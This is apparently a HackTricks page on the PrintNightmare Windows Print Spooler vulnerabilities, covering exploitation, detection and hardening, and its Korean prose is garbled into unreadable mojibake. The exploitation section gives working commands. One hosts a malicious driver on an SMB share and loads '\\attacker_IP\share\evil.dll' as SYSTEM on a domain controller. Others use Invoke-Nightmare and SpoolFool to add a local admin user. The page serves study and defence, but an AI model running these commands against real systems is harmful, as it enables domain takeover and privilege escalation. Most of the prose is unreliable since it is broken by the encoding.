PrintNightmare (Windows Print Spooler RCE/LPE)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
PrintNightmare๋ SYSTEM์ผ๋ก์์ ์์ ์ฝ๋ ์คํ์ ํ์ฉํ๋ Windows Print Spooler ์๋น์ค์ ์ทจ์ฝ์ ์งํฉ์ ๋ถ์ฌ์ง ์ด๋ฆ์ด๋ฉฐ, ์คํ๋ฌ๊ฐ RPC๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ๋ **๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ ๋ฐ ํ์ผ ์๋ฒ์์์ ์๊ฒฉ ์ฝ๋ ์คํ(RCE)**์ ํ์ฉํฉ๋๋ค. ๊ฐ์ฅ ๋๋ฆฌ ์ ์ฉ๋ CVE๋ CVE-2021-1675(์ด๊ธฐ LPE๋ก ๋ถ๋ฅ๋จ)์ CVE-2021-34527(์ ์ฒด RCE)์ ๋๋ค. ์ดํ์ ๋ฌธ์ ์ธ **CVE-2021-34481 (โPoint & Printโ)**์ **CVE-2022-21999 (โSpoolFoolโ)**๋ ๊ณต๊ฒฉ ํ๋ฉด์ด ์ฌ์ ํ ๋ซํ์ง ์์์์ ์ฆ๋ช ํฉ๋๋ค.
1. ์ทจ์ฝํ ๊ตฌ์ฑ ์์ ๋ฐ CVE
| ์ฐ๋ | CVE | ์งง์ ์ด๋ฆ | ์์ | ๋น๊ณ |
|---|---|---|---|---|
| 2021 | CVE-2021-1675 | โPrintNightmare #1โ | LPE | 2021๋ 6์ CU์์ ํจ์น๋์์ผ๋ CVE-2021-34527์ ์ํด ์ฐํ๋จ |
| 2021 | CVE-2021-34527 | โPrintNightmareโ | RCE/LPE | AddPrinterDriverEx๋ ์ธ์ฆ๋ ์ฌ์ฉ์๊ฐ ์๊ฒฉ ๊ณต์ ์์ ๋๋ผ์ด๋ฒ DLL์ ๋ก๋ํ ์ ์๋๋ก ํ์ฉ |
| 2021 | CVE-2021-34481 | โPoint & Printโ | LPE | ๋น๊ด๋ฆฌ์ ์ฌ์ฉ์์ ์๋ช ๋์ง ์์ ๋๋ผ์ด๋ฒ ์ค์น |
| 2022 | CVE-2022-21999 | โSpoolFoolโ | LPE | ์์ ๋๋ ํฐ๋ฆฌ ์์ฑ โ DLL ์ฌ๊ธฐ โ 2021๋ ํจ์น ์ดํ์๋ ์๋ |
๋ชจ๋ MS-RPRN / MS-PAR RPC ๋ฉ์๋(RpcAddPrinterDriver, RpcAddPrinterDriverEx, RpcAsyncAddPrinterDriver) ๋๋ Point & Print ๋ด์ ์ ๋ขฐ ๊ด๊ณ๋ฅผ ์
์ฉํฉ๋๋ค.
2. ์ ์ฉ ๊ธฐ์
2.1 ์๊ฒฉ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ ์์ (CVE-2021-34527)
์ธ์ฆ๋ ๊ทธ๋ฌ๋ ๋นํน๊ถ ๋๋ฉ์ธ ์ฌ์ฉ์๋ ๋ค์์ ํตํด ์๊ฒฉ ์คํ๋ฌ(์ข ์ข DC)์์ NT AUTHORITY\SYSTEM์ผ๋ก ์์ DLL์ ์คํํ ์ ์์ต๋๋ค:
# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support
# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'
์ธ๊ธฐ ์๋ PoC์๋ CVE-2021-1675.py (Python/Impacket), SharpPrintNightmare.exe (C#) ๋ฐ Benjamin Delpy์ misc::printnightmare / lsa::addsid ๋ชจ๋์ด ํฌํจ๋ฉ๋๋ค mimikatz.
2.2 ๋ก์ปฌ ๊ถํ ์์น (์ง์๋๋ ๋ชจ๋ Windows, 2021-2024)
๊ฐ์ API๋ฅผ ๋ก์ปฌ์์ ํธ์ถํ์ฌ C:\Windows\System32\spool\drivers\x64\3\์์ ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ํ๊ณ SYSTEM ๊ถํ์ ์ป์ ์ ์์ต๋๋ค:
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
2.3 SpoolFool (CVE-2022-21999) โ 2021 ์์ ์ฌํญ ์ฐํ
Microsoft์ 2021 ํจ์น๋ ์๊ฒฉ ๋๋ผ์ด๋ฒ ๋ก๋ฉ์ ์ฐจ๋จํ์ง๋ง ๋๋ ํฐ๋ฆฌ ๊ถํ์ ๊ฐํํ์ง๋ ์์์ต๋๋ค. SpoolFool์ SpoolDirectory ๋งค๊ฐ๋ณ์๋ฅผ ์
์ฉํ์ฌ C:\Windows\System32\spool\drivers\ ์๋์ ์์์ ๋๋ ํฐ๋ฆฌ๋ฅผ ์์ฑํ๊ณ , ํ์ด๋ก๋ DLL์ ๋๋กญํ ํ ์คํ๋ฌ๊ฐ ์ด๋ฅผ ๋ก๋ํ๋๋ก ๊ฐ์ ํฉ๋๋ค:
# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll
# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
์ด ์ต์คํ๋ก์์ 2022๋ 2์ ์ ๋ฐ์ดํธ ์ด์ ์ ์์ ํ ํจ์น๋ Windows 7 โ Windows 11 ๋ฐ Server 2012R2 โ 2022์์ ์๋ํฉ๋๋ค.
3. ํ์ง ๋ฐ ํํ
- ์ด๋ฒคํธ ๋ก๊ทธ โ Microsoft-Windows-PrintService/Operational ๋ฐ Admin ์ฑ๋์ ํ์ฑํํ๊ณ ์ด๋ฒคํธ ID 808 โํ๋ฆฐํธ ์คํ๋ฌ๊ฐ ํ๋ฌ๊ทธ์ธ ๋ชจ๋์ ๋ก๋ํ์ง ๋ชปํ์ต๋๋คโ ๋๋ RpcAddPrinterDriverEx ๋ฉ์์ง๋ฅผ ์ฃผ์ ๊น๊ฒ ์ดํด๋ณด์ธ์.
- Sysmon โ
Event ID 7(์ด๋ฏธ์ง ๋ก๋๋จ) ๋๋11/23(ํ์ผ ์ฐ๊ธฐ/์ญ์ )C:\Windows\System32\spool\drivers\*๋ด์์ ๋ถ๋ชจ ํ๋ก์ธ์ค๊ฐ spoolsv.exe์ผ ๋. - ํ๋ก์ธ์ค ๊ณ๋ณด โ spoolsv.exe๊ฐ
cmd.exe,rundll32.exe, PowerShell ๋๋ ์๋ช ๋์ง ์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ ๋ ๊ฒฝ๊ณ .
4. ์ํ ๋ฐ ๊ฐํ
- ํจ์น! โ Print Spooler ์๋น์ค๊ฐ ์ค์น๋ ๋ชจ๋ Windows ํธ์คํธ์ ์ต์ ๋์ ์ ๋ฐ์ดํธ๋ฅผ ์ ์ฉํ์ธ์.
- ํ์ํ์ง ์์ ๊ฒฝ์ฐ ์คํ๋ฌ๋ฅผ ๋นํ์ฑํํ์ธ์, ํนํ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์์:
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
- ์๊ฒฉ ์ฐ๊ฒฐ์ ์ฐจ๋จํ๋ ๋ก์ปฌ ์ธ์๋ ํ์ฉํ์ธ์ โ ๊ทธ๋ฃน ์ ์ฑ
:
์ปดํจํฐ ๊ตฌ์ฑ โ ๊ด๋ฆฌ ํ ํ๋ฆฟ โ ํ๋ฆฐํฐ โ ํด๋ผ์ด์ธํธ ์ฐ๊ฒฐ ์๋ฝ์ ์ํ ํ๋ฆฐํธ ์คํ๋ฌ ํ์ฉ = ๋นํ์ฑํ. - ํฌ์ธํธ ๋ฐ ํ๋ฆฐํธ๋ฅผ ์ ํํ์ฌ ๊ด๋ฆฌ์๋ง ๋๋ผ์ด๋ฒ๋ฅผ ์ถ๊ฐํ ์ ์๋๋ก ๋ ์ง์คํธ๋ฆฌ ๊ฐ์ ์ค์ ํ์ธ์:
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
์์ธํ ์๋ด๋ Microsoft KB5005652์์ ํ์ธํ์ธ์.
5. ๊ด๋ จ ์ฐ๊ตฌ / ๋๊ตฌ
- mimikatz
printnightmare๋ชจ๋ - SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
- SpoolFool ์ต์คํ๋ก์ ๋ฐ ์์ฑ
- SpoolFool ๋ฐ ๊ธฐํ ์คํ๋ฌ ๋ฒ๊ทธ์ ๋ํ 0patch ๋ง์ดํฌ๋กํจ์น
์ถ๊ฐ ์ฝ๊ธฐ (์ธ๋ถ): 2024 ์ฐ์ต ๋ธ๋ก๊ทธ ๊ฒ์๋ฌผ ํ์ธ โ PrintNightmare ์ทจ์ฝ์ ์ดํดํ๊ธฐ
์ฐธ์กฐ
- Microsoft โ KB5005652: ์๋ก์ด ํฌ์ธํธ ๋ฐ ํ๋ฆฐํธ ๊ธฐ๋ณธ ๋๋ผ์ด๋ฒ ์ค์น ๋์ ๊ด๋ฆฌ https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872
- Oliver Lyak โ SpoolFool: CVE-2022-21999 https://github.com/ly4k/SpoolFool
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


